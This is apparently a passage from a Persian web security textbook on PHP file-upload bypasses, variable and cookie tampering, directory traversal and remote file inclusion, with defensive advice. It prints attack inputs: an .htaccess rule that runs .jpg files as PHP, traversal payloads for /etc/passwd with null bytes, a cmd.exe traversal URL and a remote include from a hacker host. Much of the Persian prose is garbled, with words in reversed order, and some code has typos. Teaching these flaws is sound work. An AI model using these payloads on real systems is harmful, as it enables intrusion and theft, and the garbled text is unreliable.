 فراخوانی تابع این کهکنند. هنگامیمی ارزیابی را عکس سرآیند PHP )( درgetimagesize تابع بکارگیری

 header که است معنی بدین باشد نامعتبر عکس ارزیابی گرداند. اگر برخواهد را عکس اندازه شود،می

 از استفاده با را شده بارگذاری فایل نویسبرنامه گرداند. بنابراین،برمی false مقدار تابع و باشدمی ناصحیح

 فایل در که ساده PHP shell یک بخواهد هکر کاربر اگر کرد. حال، خواهد ارزیابی تابع این برگشتی مقدار

jpg مقدار تابع این کند بارگذاری را است شده جاسازی false داده بارگذاری اجازه پس گرداندبرمی 

 image مقدار Gimp مانند عکس گرهایویرایش برخی از استفاده با تواندمی نفوذگر شد. اما نخواهد

comment معتبر هدر دارای چنانهم عکس این وجود این کند. با وارد را نظر مورد کد و دهد تغییر را 

 در شده وارد PHP کد نتیجه، شد. در زده دور PHP در getimagesize تابع ارزیابی باشد. بنابراین،می

image comments شد.  خواهد اجرا بدهد را عکس آن درخواست مرورگری کهزمانی 

 سازی سیستم بارگذاری فایلراهکارهای امنیتي جهت امن 14.3

 از قبل کاربر ورودی اعتبارسنجی حمله، این برابر در امنیتجهت  هاراه موثرترین از یکی کلی، طور به

 شده بیان متداول امنیتی کارهایراه از برخی اینجا باشد. درمی نظر مورد API در فایل سیستم به آنها ارسال

 باشد: آنها همزمان اجرای به نیاز سایت در امنیت برقراریجهت  است ممکن که است

 CSRF حمله از گیریپیش هایروش از استفاده •

 دارند. یکسان سازدرهم مقادیر دارای کهصورتی در فایل بازنویسی از جلوگیری •

 GET  جای به POST روش از استفاده •

های مکانیزمکه گردد. البته باید به این نکته هم دقت داشت  ثبت فایل یک در کاربران های فعالیت •

 باشد. شده امن کد تزریق و گزارش جعل مقابل در بایستی گزارش ثبت

 یکی یکی بایستی شده ذخیره فایل محتوای شده، فشرده فایل استخراج توابع از استفاده صورت در •

 گردد. بررسی جدید فایل عنوان به

 در حرکت کاراکترهای وجود شد، اشاره آن به بالا در که لازم هایرمزگشایی تمام انجام از پس •

 کاراکترها این با مواجه صورت در و کنید بررسی ( را%00) تهی کاراکتر .. ( و\)../ و هادایرکتوری

 کنید. متوقف را برنامه پردازش
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 اجرایجهت  درخواست هرگونه و باشد داشته مجاز فایل از انواع فهرست یک دارای باید برنامه •

 کند. رد را فایل دیگر انواع

 رشته صحت API فایل سیستم توابع از برخی از استفاده با باید فیلترسازی عملیات انجام از پس •

 توسط شده بازگردانده دایرکتوری رشته اگر مثال، طور شود. به بررسی دایرکتوری شروع

getCanonicalPath کاربر که است معنا بدین نباشد، یکسان کاربر دایرکتوری شروع رشته با 

 شود. متوقف برنامه پردازش باید و است زده دور را فیلتر عملیات

 و کرد تهیهها فایل آن از فهرست یک توانمی کند،می استفاده محدودی هایفایل تعداد از برنامه اگر •

 در موجودهای پسوند از کاربر ورودی در موجود پسوندهای از استفاده جای به اعتبارسنجی، از پس

{ jpeg ,jpg ,gif} سایت نیاز مورد پسوندهای فهرست اگر مثال، طور کنیم. به استفاده فهرست

 پسوند از برنامه برد. زیرا نخواهد جایی به راه نیز” file.php.jpg“ کردن وارد با نفوذگر باشد،

 کند.می استفاده” file.jpg“ مقدار از برنامه در و کرده استفاده فهرست در شده تعریف

 پیمایش کاراکترهای حاوی درخواست یک هرگاه که باشد هشدار سیستم یک دارای باید برنامه •

 را او به مربوط نشست کاربر امنیتی نقض دلیل به و شود سیستم این وارد کرد، دریافت دایرکتوری

 به هشدار ایمیل یک و آورده در تعلیق حالت به را کاربر حساب امکان صورت در یا و دهد خاتمه

 نماید. ارسال سایت مدیر

 نکنید. استفاده برنامه در آن پسوند و فایل نام از سفید فهرست اعتبارسنجی بدون گاههیچ •

 مجوز مثال طور باشند. به اجرایی مجوز دارای نباید شوندمی بارگذاری آن در هافایل که ایشاخه •

 کند. اجرا را خود مخرب کد تا دهدمی اجازه نفوذگر به موردنظر شاخه در 777

 شود. محدود ورودی فایل اندازه حداقل و حداکثر DoS مانند حملاتی از جلوگیری منظور به •

 اگر عمل این کند. با تغییر فایل نام سرور برروی شدهبارگذاری فایل ذخیره هنگام شودمی پیشنهاد •

 و گرددمی ترسخت شده بارگذاری فایل کردن پیدا شود، خود مخرب کد بارگذاری به موفق نفوذگر

 معین الگوریتم یک از توانمی کار یابد. جهت اینمی کاهش موجود هایفایل بازنویسی احتمال نیز

 جدید نام ایجاد جهت MD5 مانند سازدرهم توابع برخی از توانمی مثال، عنوان کرد. به استفاده

 ایجاد تاریخ و کاربر ورودی فایل نام از ترکیبی تواندمی توابع این ورودی کرد. رشته استفاده فایل

 باشد. مانند :  آن

$newFileName=  MD5($oldFileName.$createDate); 
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 هکر کاربر روی بر دیگری درب که است این مانند شود،می داده فایل بارگذاری یاجازه کاربر به کههنگامی

 و Facebook مانند اجتماعی هایشبکه . در گرددمی باز دهندهسرویس انداختن مخاطره بهجهت 

Twitter کاربر به فرصت این هاپرتال و الکترونیکی بانکداری هایسایت ها،فروم ها،بلاگو در همچنین و 

 بگذارد. اشتراک به سایرین با را متن و فیلم عکس، هایفایل انواع تا است شده داده

 متقاضی که است این وب تحت کاربردی هایبرنامه در موجود هایپذیریآسیب اصلی علت کلی، طوربه

 تحت کاربردی هایبرنامه حملات با مقابله راه مهمترین نماید. بنابراین، ارسال را ورودی یداده هر تواندمی

 به را فایل بارگذاری جهت نیاز مورد هایورودی توانباشد. میمی کاربران هایورودی اعتبارسنجی وب،

 : کرد بندیتقسیم زیر صورت

 HTTP توسط غالبا که شودمی شامل را فایل سازیذخیره مسیر و نام مانند هاییداده هافراداده فایل •

Multipart Encoding اعتبارسنجی شوند. عدممی تبادل گیرندهسرویس و دهندهسرویس میان 

 یک در فایل یذخیره یا مهم هایفایل بازنویسی مانند عملیاتی یاجازه مهاجم به هاداده این مناسب

 داد. خواهد را نامناسب مکان

 غیره و pdf،jpeg مانند هاییقالب در است ممکن و گیردمی بر در را فایل محتوای که هاییداده •

 فراهم فایل محتوای مناسب اعتبارسنجی عدم علت به را مخاطرات از وسیعی طیف گیرد، قرار

 کند. می

 روی بر برنامه که عملیاتی تمام باید حملات، نوع این از وب تحت کاربردی یبرنامه محافظت برای

 مورد دقت به را عملیات این در درگیر هایپردازه تمام همچنین، و دهدمی انجام شده بارگذاری هایفایل

 داد. قرار بررسی

 هاهای دور زدن آنهای بارگذاری فایل و راهاعتبارسنجي  14.4

آنها  که است شده مشاهده اند،بوده نیز معروف بعضا که وب تحت کاربردی هایبرنامه از تعدادی ارزیابی با

 در و بوده سوءاستفاده قابل آسانی به هاپذیریآسیب این از نیستند. برخی امن فایل بارگذاری هایفرمدارای 

 کاربران که رایج روش هشت فصل، این کرد. در پیدا دسترسی هابرنامه این یدهندهسرویس به توانمی نتیجه

 بدخواه کاربر که داد خواهیم نشان و کرد خواهیم ارائه را کنندمی استفاده فایل بارگذاری سازیامنجهت 

 بزند. دور را امنیتی هایراه این تواندچگونه می
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 بارگذاری فایل بدون ارزیابي 14.4.1

 باشد. فرممی اسکریپت کد یک و HTML فرم یک شامل معمول طور به ساده فایل بارگذاری یک

HTML را فایل بارگذاری که است کدی شامل اسکریپت و شودمی داده نمایش کاربر به که است فرمی 

 : کنیدمی مشاهده را PHP اسکریپت و HTML فرم از مثالی زیر کند. درمی اجرا

   HTML form:  

  <form enctype="multipart/form-data" action="uploader.php" 

method="POST"> 

  <input type= "hidden" name="MAX_FILE_SIZE" value="100000" /> 

  Choose a file to upload: <input name="uploadefile" type= "file" /> 

  <input type= "submit" value="Upload File" />  

  </form> 

  PHP code (uploader.php):  

  <?php 

  $target_path = "uploads/"; 

   $target_path = $target_path . basename( $_FILES[‘uploadedfile’][‘ name’]); 

  if(move_uploaded_file($_F1LES[‘uploadedfile’][‘ tmp_name’], $target_path)) 

{ 

            echo "The file". basename( $_FILES[‘uploadedfile’][‘name’]). 

            " has been uploaded"; 

  } else { 

      echo "There was an error uploading the file, please try again!"; } 

  ?> 

 کند،می دریافت multipart/form-data کدگذاری نوع اب را POST درخواست اسکریپت کد که هنگامی

 کد سازد. سپس،می var/tmp/php6yXOVs/ مانند موقت یشاخه یک در تصادفی نام با موقت فایل یک

PHP سراسری یآرایه در را شده بارگذاری فایل به مربوط اطلاعات _$FILES کند. اینمی ذخیره 

 ورودی هایداده یهمه وب، تحت کاربردی هایبرنامه شود. درمی دریافت HTTP سرآیندهای از اطلاعات

 مهاجم و شوندمی محسوب هاورودی این یجمله از نیز HTTP است. سرآیندهای اعتماد غیرقابل کاربران
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در زیر برخی از مهمترین خصوصیات  دهد. تغییر را آن مقادیر پراکسی یک از استفاده با راحتی به تواندمی

 فایل که قابل دسترس هستند را بیان می کنیم : 

    $_FILES[‘uploadedfile’][‘name’]: نام اصلی فایل در سمت کلاینت 

    $_FILES[‘uploadedfile’][‘ type’]: نوع فایل ارسالی 

    $_FILES[‘uploadedfile’][‘size’]: بایت سایز فایل ارسالی بر اساس  

    $_FILES[‘uploadedfile’][‘ttmp_name’]: 

 نام فایل موقتی که توسط سرور ایجاد می شود 

 

 منتقل است، شده فراهم کاربر توسط که مکانی به را موقت فایل PHP در move_uploaded_file تابع

 از هافایل این بنابراین،باشد. می دهنده( سرویسroot) اصلی مسیر زیر در مقصد حالت، این کرد. در خواهد

هستند.  دسترسی قابل http://www.domain.tld/uploads/uploadedfile.ext مانند آدرسی طریق

 مهاجم نتیجه، در ؛ است نشده گذاشته شده بارگذاری فایل نوعجهت  محدودیتی هیچ ساده، مثال این در

 کند. این بارگذاری شود را دهندهسرویس انداختن مخاطره به منجر که را مخرب کد با PHP فایل تواندمی

 کدهای یا کد چنین با وب تحت کاربردی هایبرنامه از بسیاری در ولی باشد، ساده نظر به شاید مثال

 شویم.می روروبه مشابهی

 mime typeارزیابي  14.4.2

 تعیینبرای  که است این فایل بارگذاری هایفرم سازیامن، جهت وب تحت نویسانبرنامه رایج اشتباه دیگر

 روی بر فایلی که کنند. زمانیمی ارزیابی را PHP از mime type برگشتی مقدار تنها فایل، نوع

 مقدار با [ را'type']FILES['uploadedfile']$_ متغیر PHP شود،می بارگذاری دهندهسرویس

mime-type بارگذاری فرم ارزیابی که است حالی در کند. اینمی مقداردهی کاربر مرورگر از بازگشتی 

 به که هاییبرنامه طریق از را هافایل راحتی به تواندمی بدخواه نیست. کاربر وابسته مقدار این به تنها فایل

 دهد،می را HTTP POST درخواست در جعلی mime-type ارسال یاجازه او به خودکار طور

 کند. بارگذاری
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 جلوگیری از پسوندهای خطرناک 14.5

 فهرستی روش، این شود. درمی استفاده سیاه فهرست از سازیامنجهت  فایل بارگذاری هایفرم از برخی در

 در شده بارگذاری فایل پسوند که صورتی در و گرددمی تهیه تولیدکننده یوسیله به خطرناک پسوندهای از

 پسوندهای یهمه شامل فهرستی بتوان است غیرممکن شد. تقریبا نخواهد داده مجوز باشد، موجود فهرست

 حال در دهندهسرویس محیط در کد اگر کرد. جهت مثال، تهیه را کند استفاده تواندمی مهاجم که ممکن

 ، Perl ، Python مانند اسکریپتی هایزبان از بسیاری به محیطی چنین معمول طوربه باشد، اجراشدن

Ruby فهرست از استفاده عیب مهمترین این و ندارد انتها، فهرست این و به نوعی  دهدمی اجازه غیره و 

 زیر کد مشابه کد خط یک شامل که "htaccess." نام با فایلی بارگذاری با بدخواه باشد. کاربرمی سیاه

 : بزند دور را سیاه فهرست طریق از سازیامن راحتی به تواندمی است

  AddType application/x-httpd-php .jpg 

 هایاسکریپت مانند را jpg پسوند با هایعکس که گویدمی آپاچی وب یدهندهسرویس به دستور این

PHP پسوند با فایل یک تواندمی مهاجم کند. بنابراین، اجرا jpg کد شامل که PHP کند.  بارگذاری را است 

 پسوندهای دوتایي  14.5.1

 نام در نویسبرنامه فایل، پسوند استخراججهت  که تفاوت این با شودمی بررسی فایل پسوند نیز مورد این در

 روش این گیرد. دورزدنمی نظر در پسوند عنوان به را آن از بعد یرشته و گرددمی '.' کاراکتر دنبال به فایل

 با هاییفایل با آپاچی وب یدهندهسرویس رفتار به نگاهی دهید اجازه باشد. ابتدامی عملی اما ترپیچیده کمی

شده است که:  بیان آپاچی وب یدهندهسرویس راهنمای کتاب باشیم. در قسمتی از داشته پسوند چند

 ."نیست مهم نرمال طور به پسوندها ترتیب و باشند داشته پسوند یک از بیشتر توانندمی هافایل"

 نگاشت language French و content type text/html به welcom.html.fr فایل اگر مثال، برای

 یک از بیشتر شد. اگر خواهد نگاشت اطلاعات همین به دقیقا welcom.fr.html فایل بنابراین، شود؛

 استثتای به راست سمت پسوند گاهآن شود، نگاشت مشابه هایفراداده به که باشد شده داده پسوند

languages و content encodings اگر گیرد. جهت مثال،می قرار استفاده مورد .gif به MIME-

type image/gif و .html به MIME-type text/html فایل گاهآن شود، نگاشت 

welcom.gif.html به MIME-type text/html شد. خواهد مرتبط" 
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 در شد. این خواهد اجرا و تفسیر PHP فایل عنوان به 'filename.php.123' نام به فایلی بنابراین،

 شده های شناختهmime-type فهرست ( در123. جااین )در ندپسو آخرین که افتاد خواهد اتفاق صورتی

 در ایمشخصه چنین از وب تحت نویسانبرنامه باشد. اکثر نشده تعریف وب یدهندهسرویس در

 باشد. خطرناک بسیار تواندمی امر این که نیستند آگاه آپاچی وب یدهندهسرویس

 و کند بارگذاری را shell.php.123 نام به فایلی تواندمی مهاجم که باشیم داشته نظر در را این

 و کندمی محاسبه را راست سمت پسوند یا آخرین اسکریپت بزند. این دور را فایل بارگذاری هایگیریپیش

 که است ذکر نیست. قابل سیاه فهرست همان یا خطرناک پسوندهای فهرست در پسوند این گیردمی نتیجه

روی سرور  بر را فایلی تا کند استفاده تواندمی بدخواه کاربر که تصادفی پسوندهای یهمه از گیریپیش

 است. غیرممکن برگذلری کند،

 پسوندهای دوتایي )بخش دوم( 14.5.2

 مورد، این است. در سفید فهرست از استفاده فایل، بارگذاری هایفرم سازیامن جهت ترمناسب رویکرد

 یاجازه و کندمی تعریف را قبول مورد و شده شناخته پسوندهای از فهرستی وب تحت نویسبرنامه

 این موارد از بسیاری در وجود، این داد. با نخواهد را نیست فهرست این در آن پسوند که فایلی بارگذاری

 وب یدهندهسرویس پیکربندی و کرد. جهت تنظیم نخواهد عمل رودمی انتظار که طورآن هم رویکرد

 از استفاده یا AddHandler directive از : استفاده دارد وجود راه دو PHP کدهای اجرایجهت  آپاچی

AddType directive از . اگر AddHandler directive مانند هاییفایل تمام شود، استفاده 'A.php' 

شد.  خواهد اجرا PHP اسکریپت عنوان به باشد،می 'php.' پسوند شامل هاآن نام که 'B.php.jpg' و

 است ممکن شما یبرنامه باشد، زیر خط شامل آپاچی وب یدهندهسرویس پیکربندی فایل اگر بنابراین،

 : باشد پذیرآسیب

AddHandler php5-script .php 

 و زده دور را گیریپیش’ filename.php.jpg‘ نام با فایلی بارگذاری با تواندمی مهاجم صورت، این در

 کند. اجرا را خود کد

 سرآیند عکسبررسي  14.5.3

 تابع کارگیری به با معمول طور به هانویسبرنامه است، شده داده عکس بارگذاری یاجازه فقط که هنگامی

getimagesize در PHP شود،می فراخوانی تابع این که کنند. هنگامیمی ارزیابی را عکس سرآیند 
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 ناصحیح سرآیند که است معنی بدین باشد، نامعتبر عکس ارزیابی شد. اگر خواهد برگردانده عکس یاندازه

 گرداند.برمی false مقدار تابع و باشدمی

 کرد. حال خواهد ارزیابی تابع، این برگشتی مقدار از استفاده با را شده بارگذاری فایل نویسبرنامه بنابراین،

 کند، بارگذاری را است شده جاسازی jpg فایل یک در که ساده PHP shell یک بخواهد بدخواه کاربر اگر

 شد. نخواهد داده بارگذاری یاجازه بنابراین گرداند؛برمی false مقدار تابع این

 Image comment مقدار ،GIMP مانند عکس گرویرایش یک در عکس یک کردن باز با تواندمی مهاجم

 عکس وجود، این کند. با وارد را خود نظر مورد کد و کند ویرایش را شودمی وارد PHP کد که جایی

 شد. در زده دور PHP در getimagesize تابع ارزیابی باشد. بنابراین،می معتبر سرآیند دارای همچنان

 Image comments در شده وارد PHP کد بدهد، را عکس آن درخواست مرورگری که زمانی نتیجه،

 شد. خواهد اجرا

 htaccessگیری از بارگذاری فایل با پسوند .پیش 14.5.4

 از محافظت جهت htaccss. فایل از استفاده فایل، بارگذاری هایفرم سازیامنجهت  دیگر معمول راه

 هایفایل اجرای از شدن مانع کار، این یباشد. ایدهمی شوند،می بارگذاری هافایل آن در که ایشاخه

 زیر کد شامل رود،می کار به منظور بدین کهزمانی htaccess. باشد. فایلمی شاخه این در اسکریپت

 : باشدمی

 

  AddHandler cgi-script .php .php3 .php4 .phtml .pl .py .jsp .asp .htm .shtml .sh 

.cgi  

  Options –ExecCGI 

 فایل که صورتی بود.زیرا در نخواهد امن خیلی که باشدمی سیاه فهرست رویکرد از دیگری نوع روش این

 هایفایل توانست خواهند شده بارگذاری هایفایل که آن سبب شد. به خواهد بازنویسی باشد، موجود مقصد

 یشده کاریدست ینسخه با را htaccess. فایل تواندمی راحتی به بدخواه کاربر کنند، بازنویسی را موجود

 شود دهندهسرویس تخریب باعث که هاییاسکریپت اجرای یاجازه او به مسأله کند. این جایگزین خودش

 داد. خواهد را
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 های پیشنهادیحلراه 14.6

 شده داده هاآن در فایل بارگذاری یاجازه که وب تحت کاربردی هایبرنامه و هاسایتوب سازیامن جهت

 به راهکارها گردد. این اعمال شودمی پیشنهاد که است شده فراهم کارهاراه بهترین از فهرستی است،

 کرد: خواهد کمک وب تحت هایبرنامه در شده استفاده فایل بارگذاری هایفرم سازیامن

 دهد،می را مجاز پسوند با هایفایل به دسترسی یاجازه فقط که ایگونه به را htaccess. فایل •

 کنید. تعریف

 ندهید. بهتر قرار شوند،می ذخیره شده بارگذاری هایفایل که ایشاخه همان در را htaccess. فایل •

 شود. داده قرار پدر یشاخه در htaccess. فایل است

 شامل است بهتر دهدمی را png و gif ، jpg ، jpeg هایفایل یاجازه فقط که htaccess. فایل •

 شد.  خواهد دوتایی پسوندهای حملات مانع امر، شود(. این داده مطابقت خود نیاز )با باشد زیر کد

  deny from all  

  <Files ~ "^\w+\.(gif|jpe?g|png)$">  

  order deny,allow  

  allow from all  

  </Files> 

 کنید. بارگذاری دهندهسرویس یریشه از خارج ایشاخه در را هافایل امکان، صورت در •

 شوید. موجود هایفایل بازنویسی مانع htaccess. بازنویسی یحمله از جلوگیری جهت •

 کنید. تهیه های مجازmime-type از فهرستی پسوندها، نگاشت جهت •

 تنها را کنید. ارزیابی تولید قبلی یشده تولید پسوند کردن اضافه و هافایلجهت  تصادفی هایینام •

 و دهندهسرویس سمت ارزیابی دو هر ندهید. در بهترین حالت  انجام گیرندهسرویس سمت در

 کنید.  سازیپیاده را گیرندهسرویس سمت
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 ها و متغیرهاها ، نشستکوکيفصل پانزدهم:  15

 عدم بررسي متغیرها 15.1

گیرد. می صورت هویت تعیین و ورود صفحات دورزدنجهت  هکرها توسط متغیرها مقداردهی معمولا

PHP مانند هایی ثابت فرضپیش صورت به GET و Post توسط کوکی را پارامتر هم اوقات گاهی و 

 شوندمی دهی مقدارها درخواست نوع این توسط که متغیرهایی کند. اگرمی ارسال HTTPهای درخواست

 .بزنند را رقم نقصبی نفوذ یکجهت  را خوبی فرصت توانندمی نشوند ارزیابی درستی به

فرضکنید صفحه ای برای ورود به سایت طراحی شده است که فقط پسورد را دریافت می کند و کد آن 

 مشابه زیر باشد.

 

  

 

 

 

 

 

توانید با پیغام اگر صفحه را به صورت عادی اجرا کنید تنها با دانستن مقدار درست رمز عبور می

Welcome to system  مواجه شوید. امتحان کردن رمزهای متفاوت مشکلی را به همراه نخواهد داشت به

عبارت دیگر می توان چندین پسورد مختلف را ببرسی نمود و در صورتی که رمز عبور به درستی وراد شود 

 شود. شود و با این کار هویت مدیر مشخص میمی 1برابر  Adminمتغیر 
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هکر می تواند با ایجاد صفحه ای به شکل زیر و با وارد کردن هر مقدار دلخواهی برای  در این حالت یک

 را مقادیریها، متغییر مقداردهی و Post روش از استفاده با کد این. پسورد، به عنوان مدیر وارد سایت شود

 کند.  ارسال login  صفحه سمت به

 هانشست 15.2

ها هستند. نشستها نشست از استفاده بگیرید را حملات گونه این جلوی توانیدمی که هاییروش از یکی

 صفحه( مقداردهی آن درها نشست از استفاده صورت ) در صفحه یک از دیدن بار هر با که هستند مقادیری

 از پس و شوندمی صفحه( مقداردهی آن درها نشست از استفاده صورت )در صفحه یک از پس و شوندمی

 بهره Session- start تابع از باید شماها نشست از روند. جهت استفادهمی بین از وب مرورگر شدنبسته

 بگیرید.

 

 

 

 

 

 

های روش توسط که گیردمی قرار بررسی مورد Admin نشست متغییر Admin مقدار بررسی جای به حال

Post , GET نیست. دهی مقدار قابل 
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 هاکوکي 15.3

 بمانند باقیها نشست از بیشتری زمان مدت توانندمی و کنندمی دارینگه راها نشست مانند مقادیریها کوکی

  شویدمی وارد محبوبتان سایت به شما گیرد. وقتیمی انجام برنامه نویس توسط و اختیاری زمان این تعیین که

 شما رایانه روی بر هاییکوکی، شویدمی وارد خود کاربری قسمت به شخصی اطلاعات کردن وارد از پس و

 خوش“پیغام با و رفته سایت به توانیدمی خود اطلاعات کردن وارد بدون مدتی از پس شوند. شمامی ذخیره

 . شوید خود کاربری صفحه وارد هویتی احراز هیچگونه بدون و شوید مواجه“ گرامی کاربر آمدید
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 فصل شانزدهم: حملات پیمایش دایرکتوری ها 16

ها و مقادیری است که نفوذگر به صورت عادی از پذیری، فراخوانی و خواندن فایلهدف اصلی این آسیب

گونه توانند بستری مناسب جهت اینتوابعی که با مقداردهی نامناسب میدیدن و خواندن آنها محروم است. 

 حملات ایجاد کنند به شرح زیر است.

Require() 

Require- once() 

Include- once() 

Fopen() 

 File_ get _contents() 

را  March 10 , 2017.5;16pmداریم و این صفحه مقداری مانند  dateفرض کنید یک صفحه به نام 

 مقادیر زیر را داریم: welcomeای به نام دهد و در صفحهجهت ما نمایش می

<?php  Echo "welcome saber ghanbari   to your site<br/>"; ?>  

تاریخ را نیز نمایش بدهیم باید کدهایی که تاریخ را جهت ما به نمایش  welcomeبرای اینکه ما در صفحه 

 بیاوریم بدین صورت: welcomeاورند را در ابتدای کدهای صفحه در می

<?php 
//Welcome.php with date function 

$today = date("F j, Y, g:i a"); 

echo "Today is ".$today."<br>"; 

echo "Welcome saber ghanbari to your site <br/>"; 

?>  

دهنده تاریخ در یک فایل و فراخوانی آنها در صفحه کار، نوشتن کدهای نمایشراه دیگر جهت انجام این

welcome است. این کار با استفاده از توابع includeگیرد.)( صورت می 

<? 

//Welcome.php with date function 

include ('home/date.php'); 

echo "Welcome saber ghanbari to your site<br>"; 

?> 

 .مثالی دیگر در این زمینه به صورت زیر می باشد

 

<?php 

//Template.php 

$template = 'yourtempl.php’; 

if (is_set($_COOKIE['TEMPLATE'])) 
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$template = $_COOKIE['TEMPLATE']; 

include ( "/home/templates/" . $template ); 

?>  

شود که مقادیری نظیر در این مثال کاربر پس از مشاهده سایت و انتخاب قالب مورد نظر خود باعث می

 بینیم.گونه مقداردهی را در صفحات انتخاب زبان نیز میها بر روی رایانه وی ذخیره شوند. ما اینکوکی

<? 

//Language.php 

if($_COOKIE["language"]) { 

$llang = $_COOKIE["language"]; 

} 

else 

{ 

$l_array = explode("-",$lang_array[0]); 

$llang = $l_array[0]; 

setcookie("language",$llang,time()+1209600,"","",""); 

} 

include("/home/lang/".$llang.".php"); 

?> 

  

شویم که صفحه با بررسی کوکی متوجه می  Langugeها و کدهای نوشته شده در صفحه با بررسی کوکی

به مقدار ذخیره شده به عنوان کوکی صفحه مربوط به زبان کاربر را فراخوانی  PHPو با اضافه کردن پسوند 

ان سایت توسط تابع را به عنوان زب en.phpصفحه  enکند. به طور مثال با بررسی و گرفتن مقدار می

incude کند . فراخوانی می 

را به عنوان  زبان اسپانیایی فرخوانی میکند که به  sp.phpتغییر دهیم صفحه  spها را به حال اگر ما کوکی

ها در این صورت میتوانیم هر فایل دیگری را نیز بر روی سرور فراخوانی کنیم .فرض میکنیم که این فایل

قرار دارد. ما به راحتی میتوانیم با  homeدر دایرکتوری  welcomeو صفحه  home /lang دایرکتوری

 ها به این صورت تر برویم. به طور مثال با تغییر کوکیکدها )..( و یا )/..( به دایرکتوری بالاتر و قبل

//Cookies 

language 

en 

to 

language 

../welcome 

 یابد.تغییر میشود به صورت زیر مقداری که فراخوانی می

include("/home/lang/../welcome.php"); 
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های را که اجازه دیدن و خواندنشان را نداریم نیز می توان فراخوانی کرده پذیری فایلبا استفاده از این آسیب

 در لینوکس و در دست گرفتن کنترل سرور. passwordو بخوانیم. به طور مثال فایل 

//Cookies 

language 

en 

to 

language 

../../../../../../../../../etc/passwd 

بینیم. مشکل کجاست؟ ما که تغییر کدها واجرای صفحه مورد نظر هیچ مقداری به جز خطاهای رایج را نمی

 کنیم.برگشته و کدها را تحلیل می  languageمقدار درستی را به عنوان زبان دادیم! به صفحه 

<? 
//Language.php 

if($_COOKIE["language"]) { 

$llang = $_COOKIE["language"]; 

} 

else 

{ 

$l_array = explode("-",$lang_array[0]); 

$llang = $l_array[0]; 

setcookie("language",$llang,time()+1209600,"","",""); 

} 

include("/home/lang/".$llang.".php"); 

?> 

 شوند.بدین صورت فراخوانی میها در خطوط پایانی مشاهده میکنیم که فایل

include("/home/lang/".$llang.".php"); 
کند. پس با این تفاسیر ما تنها شده اضافه میبه انتهای فایل فراخوانی PHPبینید که صفحه یک پسوند می

کوچک گونه نیست و ما با استفاده از یک کد را فراخوانی کنیم؟ خیر این PHPهایی با فرمت توانیم فایلمی

بایت نام دارد و را نیز فراخوانی کنیم. این کد کوچک نال PHpهای غیر از های با پسوندتوانیم فایلهگز می

 های مورد نظر خود را بدین صورت فراخوانی کنیم. توانیم فایل( است. پس ما می00%در هگز به صورت )

//Cookies 

language 

en 

to 

language 

../../../../../../../../../etc/passwd%00 

 شود.مقدار مورد نظر ما به صورت زیر فراخوانی می

include("/home/lang../../../../../../../../../etc/passwd%00.php");  
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 که به صورت  passwd رسد و فایلبایت پردازش رشته به پایان میپس از فراخوانی و رسیدن به نال

passwd%00.php 
 شود: این صورت تعبیر میفراخوانی شده است به 

passwd 
 شکل گرفته است، نگاهی بیندازیم. Fopenحال به بررسی روشی دیگر  که با استفاده از تابع 

<?php 
//index.php 

include('/home/template/header.php'); 

if (isset($_GET['file']) { 

$fp = fopen("$file" . ".html","r"); 

} else { 

$fp = fopen("main.html", "r"); 

} 

include('/home/template/footer.php'); 

?>  

 شوند.صفحات به صورت زیر فراخوانی و صدا زده می

http://www.example.ir/index.php?file=page.html 
http://www.example.ir/index.php?file=main.html 

 و یا هر صفحه دیگری نشان دهیم.  mainتوانیم صفحه دیگری را به عنوان ما براحتی می

http://www.example.ir/index.php?file=http://www.hackersite.ir/main 
 ها را پیمایش کنیم.ها و فایلو یا دایرکتوری

http://www.example.ir/index.php?file=../../../../etc/passwd 
توانیم نیز  می ASPد به طور مثال در شوننمی PHPهای ها محدود به برنامهپذیریاین نوع آسیب

 دست یابیم. cmdها را پیمایش کرده و به دایرکتوری

http://www.example.ir/show.asp?view=../../../../../Windows/system.ini 
http://www.example.ir/scripts/..%5c../Windows/System32/cmd.exe?/c+dir 

  



 

387 

 

 includeو  fopenبا توجه به مسائلی که در این فصل مطرح شد دریافتیم در زمان استفاده از توابعی مانند 

حدالامکان بر اساس داده های ذخیره شد در سمت کلاینت مانند کوکی یا جلسه و یا داده هایی که توسط 

مجبور به انجام اینکار شدیم  برای صفحه ارسال می شود استفاده کنیم و در صورتی که getمتدهایی مانند 

حتماً قیل از بکارگیری، آن داده بررسی شود. هرچند همان طور که در فصل های قبل بیان شد باز هم نمی 

 توان به طور قطعی بیان کرد که صفحه در برابر اینگونه حملات امن می باشد.
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 ها از راه دورفصل هفدهم: فراخوانی فایل 17

تواند تواند کنترل کامل سایت و یا سرور شما را در دست گیرد، میپذیری نفوذگر میبه وسیله این آسیب

 ها را پاک و ویرایش کند و غیره. فرامین تحت خط فرمان را اجرا کند، فایل آپلود کند، فایل

 

 

 

 

 

به ارزیابی خطاها پرداخته و متوجه اشتباه  Pageیک نفوذگر ممکن است با مقداردهی اشتباه به متغییر 

 نویس در فراخوانی بشود.برنامه

 

 

 

 

 

 

ای که وجود ندارد دچار توان دریافت که برنامه در فراخوانی صفحهبا کمی دقت و تامل در مقدار خطاها می

  د.توانید فرامین خط فرمان را اجرا نماییمی Cmd با مقدار دهی به متغیرمشکل شده است. 

 

 

 

 کند.حال نفوذگر این صفحه را به عنوان یکی از صفحات وب سایت شما فراخوانی می
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 کنند.استفاده می phpshell ای به ناماکثر اوقات نفوذگران  از کدهای نوشته شده


